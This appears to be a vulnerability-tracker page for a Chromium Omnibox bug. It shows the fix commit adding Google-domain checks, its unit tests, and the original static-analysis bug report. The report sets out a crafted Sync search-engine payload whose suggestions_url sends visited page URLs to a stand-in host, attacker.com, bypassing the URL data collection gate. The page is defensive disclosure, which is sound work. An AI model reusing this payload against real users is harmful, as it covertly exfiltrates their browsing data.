Medium chrome Memory Corruption 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMemory corruption in Omnibox
DescriptionMemory corruption in Omnibox
ComponentOmnibox
Sub-componentUI>Browser>Omnibox
Bug ClassMemory Corruption
Tracker499143720
Fix commite17fa6b7f6a4 (chromium/src) +47/-2
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
TEST_F
chrome/browser/autocomplete/search_provider_unittest.cc
modified

Files Changed

  • components/omnibox/browser/base_search_provider.cc
  • chrome/browser/autocomplete/search_provider_unittest.cc
From e17fa6b7f6a49f1d7b38a0ce1f82653cf0ebb221 Mon Sep 17 00:00:00 2001
From: Nihar Majmudar <[email protected]>
Date: Fri, 18 Sep 2026 09:01:26 -0700
Subject: [PATCH] Fix sync-injected urls bypassing CanSendSuggestRequestWithPageURL.

Validate that the suggestion endpoint is on a Google domain in
CanSendSecureSuggestRequest, and require current pages to be on a Google
domain to qualify for the Search Results Page (SRP) exemption in
CanSendSuggestRequestWithPageURL. This prevents custom or synced search
engine configurations from sending visited page URLs to untrusted
suggest endpoints or bypassing the URL data collection gate via broad
alternate_urls patterns.

Change-Id: I6895699ebcd52a91ad3735d4b6e32c5cc0007b4e
Bug: 499143720
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8415787
Reviewed-by: Moe Ahmadi <[email protected]>
Commit-Queue: Nihar Majmudar <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1700826}
---
diff --git a/components/omnibox/browser/base_search_provider.cc b/components/omnibox/browser/base_search_provider.cc
index 5deca36..d3b991c 100644
--- a/components/omnibox/browser/base_search_provider.cc
+++ b/components/omnibox/browser/base_search_provider.cc
@@ -19,6 +19,7 @@
 #include "base/memory/scoped_refptr.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
+#include "components/google/core/common/google_util.h"
 #include "components/omnibox/browser/actions/omnibox_action_in_suggest.h"
 #include "components/omnibox/browser/aim_eligibility_service.h"
 #include "components/omnibox/browser/autocomplete_provider_client.h"
@@ -454,6 +455,13 @@
     return false;
   }
 
+  // Make sure the suggest endpoint is also a Google domain URL.
+  if (!google_util::IsGoogleDomainUrl(suggest_url,
+                                      google_util::DISALLOW_SUBDOMAIN,
+                                      google_util::ALLOW_NON_STANDARD_PORTS)) {
+    return false;
+  }
+
   return true;
 }
 
@@ -472,8 +480,12 @@
   // Forbid sending the current page URL to the suggest endpoint if
   // URL data collection is off; unless the current page is the provider's
   // Search Results Page; or for the Lens searchboxes.
-  if (!client->IsUrlDataCollectionActive() &&
-      !template_url->IsSearchURL(current_page_url, search_terms_data) &&
+  const bool is_srp =
+      google_util::IsGoogleDomainUrl(current_page_url,
+                                     google_util::DISALLOW_SUBDOMAIN,
+                                     google_util::ALLOW_NON_STANDARD_PORTS) &&
+      template_url->IsSearchURL(current_page_url, search_terms_data);
+  if (!client->IsUrlDataCollectionActive() && !is_srp &&
       !omnibox::IsLensSearchbox(page_classification)) {
     return false;
   }
diff --git a/chrome/browser/autocomplete/search_provider_unittest.cc b/chrome/browser/autocomplete/search_provider_unittest.cc
index 0acfccc..d0dc8a5 100644
--- a/chrome/browser/autocomplete/search_provider_unittest.cc
+++ b/chrome/browser/autocomplete/search_provider_unittest.cc
@@ -3878,6 +3878,39 @@
   EXPECT_FALSE(test_lens(&http_google_template_url, client_.get()));
   EXPECT_FALSE(test_other(&http_google_template_url, client_.get()));
   EXPECT_FALSE(test_srp(&http_google_template_url, client_.get()));
+
+  // Create a Google search provider with an untrusted suggest endpoint.
+  TemplateURLData untrusted_suggest_template_url_data;
+  untrusted_suggest_template_url_data.SetShortName(u"untrusted-suggest");
+  untrusted_suggest_template_url_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  untrusted_suggest_template_url_data.suggestions_url =
+      "https://www.non-google.com/suggest?q={searchTerms}";
+  TemplateURL untrusted_suggest_template_url(
+      untrusted_suggest_template_url_data);
+
+  // Don't make Suggest requests if the suggest endpoint is not a Google domain.
+  EXPECT_FALSE(test_lens(&untrusted_suggest_template_url, client_.get()));
+  EXPECT_FALSE(test_other(&untrusted_suggest_template_url, client_.get()));
+  EXPECT_FALSE(test_srp(&untrusted_suggest_template_url, client_.get()));
+
+  // Create a Google search provider with a non-Google alternate URL.
+  TemplateURLData alternate_url_template_url_data;
+  alternate_url_template_url_data.SetShortName(u"alternate-url-google");
+  alternate_url_template_url_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  alternate_url_template_url_data.suggestions_url =
+      "https://www.google.com/suggest?q={searchTerms}";
+  alternate_url_template_url_data.alternate_urls.push_back(
+      "https://www.example.com?q={searchTerms}");
+  TemplateURL alternate_url_template_url(alternate_url_template_url_data);
+
+  // Disable personalized URL data collection.
+  client_->set_is_url_data_collection_active(false);
+
+  // Ensure non-Google alternate URLs do not qualify for the SRP exemption
+  // when URL data collection is disabled.
+  EXPECT_FALSE(test_other(&alternate_url_template_url, client_.get()));
 }
 
 TEST_F(SearchProviderTest, TestDeleteMatch) {
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/autocomplete/search_provider_unittest.cc b/chrome/browser/autocomplete/search_provider_unittest.cc
index 0acfccc..d0dc8a5 100644
--- a/chrome/browser/autocomplete/search_provider_unittest.cc
+++ b/chrome/browser/autocomplete/search_provider_unittest.cc
@@ -3878,6 +3878,39 @@
   EXPECT_FALSE(test_lens(&http_google_template_url, client_.get()));
   EXPECT_FALSE(test_other(&http_google_template_url, client_.get()));
   EXPECT_FALSE(test_srp(&http_google_template_url, client_.get()));
+
+  // Create a Google search provider with an untrusted suggest endpoint.
+  TemplateURLData untrusted_suggest_template_url_data;
+  untrusted_suggest_template_url_data.SetShortName(u"untrusted-suggest");
+  untrusted_suggest_template_url_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  untrusted_suggest_template_url_data.suggestions_url =
+      "https://www.non-google.com/suggest?q={searchTerms}";
+  TemplateURL untrusted_suggest_template_url(
+      untrusted_suggest_template_url_data);
+
+  // Don't make Suggest requests if the suggest endpoint is not a Google domain.
+  EXPECT_FALSE(test_lens(&untrusted_suggest_template_url, client_.get()));
+  EXPECT_FALSE(test_other(&untrusted_suggest_template_url, client_.get()));
+  EXPECT_FALSE(test_srp(&untrusted_suggest_template_url, client_.get()));
+
+  // Create a Google search provider with a non-Google alternate URL.
+  TemplateURLData alternate_url_template_url_data;
+  alternate_url_template_url_data.SetShortName(u"alternate-url-google");
+  alternate_url_template_url_data.SetURL(
+      "https://www.google.com/search?q={searchTerms}");
+  alternate_url_template_url_data.suggestions_url =
+      "https://www.google.com/suggest?q={searchTerms}";
+  alternate_url_template_url_data.alternate_urls.push_back(
+      "https://www.example.com?q={searchTerms}");
+  TemplateURL alternate_url_template_url(alternate_url_template_url_data);
+
+  // Disable personalized URL data collection.
+  client_->set_is_url_data_collection_active(false);
+
+  // Ensure non-Google alternate URLs do not qualify for the SRP exemption
+  // when URL data collection is disabled.
+  EXPECT_FALSE(test_other(&alternate_url_template_url, client_.get()));
 }
 
 TEST_F(SearchProviderTest, TestDeleteMatch) {
Loading diff…

Original Bug Report

reported by [email protected]

URL exfiltration via Sync-injected search engine configuration

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: An attacker with Sync access can inject a malicious search engine configuration that bypasses privacy gates designed to protect visited URLs. By exploiting a logic flaw in how wildcard paths in alternate_urls are matched, the browser can be tricked into sending the full URL of visited pages to an attacker-controlled endpoint, even when URL data collection is disabled.

Affected files:

  • components/omnibox/browser/base_search_provider.cc
  • components/search_engines/template_url.cc
  • components/search_engines/template_url_service.cc
  • components/omnibox/browser/remote_suggestions_service.cc
  • components/omnibox/browser/search_provider.cc

Estimated timestamp from git blame: 2025-11-10

Vulnerability Summary

A potential vulnerability exists in Chrome’s search engine synchronization and suggest request logic. An attacker with access to a user’s Chrome Sync data (without a custom passphrase) can inject a crafted Default Search Engine (DSE) configuration. This configuration bypasses the IsUrlDataCollectionActive privacy gate by exploiting a logic flaw in ExtractSearchTermsFromURL, causing Chrome to misidentify sensitive URLs as search result pages. This leads to the stealthy exfiltration of full visited URLs (including paths and query strings) to an attacker-controlled host via the suggest endpoint.

Potential Attack Steps

Note: These steps are based on static analysis of the codebase and represent a theoretical attack path.

  1. Inject Malicious Payload: The attacker injects a malicious SearchEngineSpecifics payload via Chrome Sync to overwrite the user’s DSE (typically Google). The payload is crafted as follows:
    • sync_guid: Set to the known GUID of the target DSE (e.g., 485bf7d3-0215-45af-87dc-538868000001 for Google).
    • prepopulate_id: 0. This is critical, as it bypasses the protection in TemplateURLService::CreateTemplateURLFromTemplateURLAndSyncData that reverts modified prepopulated engines.
    • url: https://www.google.com/search?q={searchTerms}. This ensures search::TemplateURLIsGoogle returns true, passing subsequent trust checks.
    • suggestions_url: https://attacker.com/log?q={searchTerms}&{google:currentPageUrl}. The attacker-controlled endpoint for exfiltration.
    • alternate_urls: Wildcards targeting sensitive domains, e.g., ['https://docs.google.com/{searchTerms}'].
  2. Sync Ingestion: Chrome syncs the data. Because prepopulate_id is 0, the malicious alternate_urls are accepted without validation.
  3. Victim Browsing: The victim, who has URL data collection disabled for privacy, navigates to a sensitive page on a targeted domain, e.g., https://docs.google.com/document/d/SECRET_ID/edit.
  4. Omnibox Interaction: The victim types in the Omnibox. SearchProvider::Start attempts to fetch suggestions and evaluates the privacy gate using CanSendSuggestRequestWithPageURL.
  5. Privacy Gate Bypass:
    • Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using !template_url->IsSearchURL(current_page_url, search_terms_data).
    • IsSearchURL evaluates the malicious alternate_url (https://docs.google.com/{searchTerms}).
    • In TemplateURLRef::ExtractSearchTermsFromURL, the logic at line 652 ((!PathIsEqual(url) && (search_term_key_location_ != url::Parsed::PATH))) skips the strict path equality check because {searchTerms} is in the path.
    • The function incorrectly extracts the sensitive path (/document/d/SECRET_ID/edit) as a “search term” and returns true. The privacy gate is bypassed.
  6. Exfiltration:
    • SearchProvider populates search_term_args.current_page_url with the full, sensitive URL.
    • RemoteSuggestionsService::EndpointUrl calls ReplaceSearchTerms on the attacker’s suggestions_url.
    • The {google:currentPageUrl} token is replaced with the escaped sensitive URL.
    • A network request is dispatched to https://attacker.com/log?q=...&url=https%3A%2F%2Fdocs.google.com%2F..., exfiltrating the data.

Root Causes

  1. Flawed Path Validation: In TemplateURLRef::ExtractSearchTermsFromURL, if the search term placeholder is in the path, the PathIsEqual check is bypassed. This allows broad wildcard matching against any path on the specified host.
  2. Sync Validation Bypass: Setting prepopulate_id to 0 in a Sync payload bypasses the reversion logic (UpdateTemplateURLDataIfPrepopulated), allowing an attacker to inject arbitrary alternate_urls and suggestions_url while spoofing a legitimate DSE.
  3. Trust Mismatch: search::TemplateURLIsGoogle validates trust based solely on the url field, ignoring the suggestions_url. This allows the suggest endpoint to receive sensitive parameters (like {google:currentPageUrl}) even if it points to a third-party host.

Suggested Fixes

  • Enforce Host Matching: Ensure that the suggestions_url host matches the url host, or restrict sensitive parameters like {google:currentPageUrl} from being sent to untrusted suggestion endpoints.
  • Fix Path Validation: Correct the logic in TemplateURLRef::ExtractSearchTermsFromURL so that path-based search terms cannot broadly match any URL on a given host, preventing the misidentification of arbitrary URLs as Search Result Pages.
  • Strengthen Sync Validation: Sanitize or drop alternate_urls received via Sync for non-prepopulated engines (prepopulate_id == 0), or ensure that critical fields cannot be mismatched to spoof known engines.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker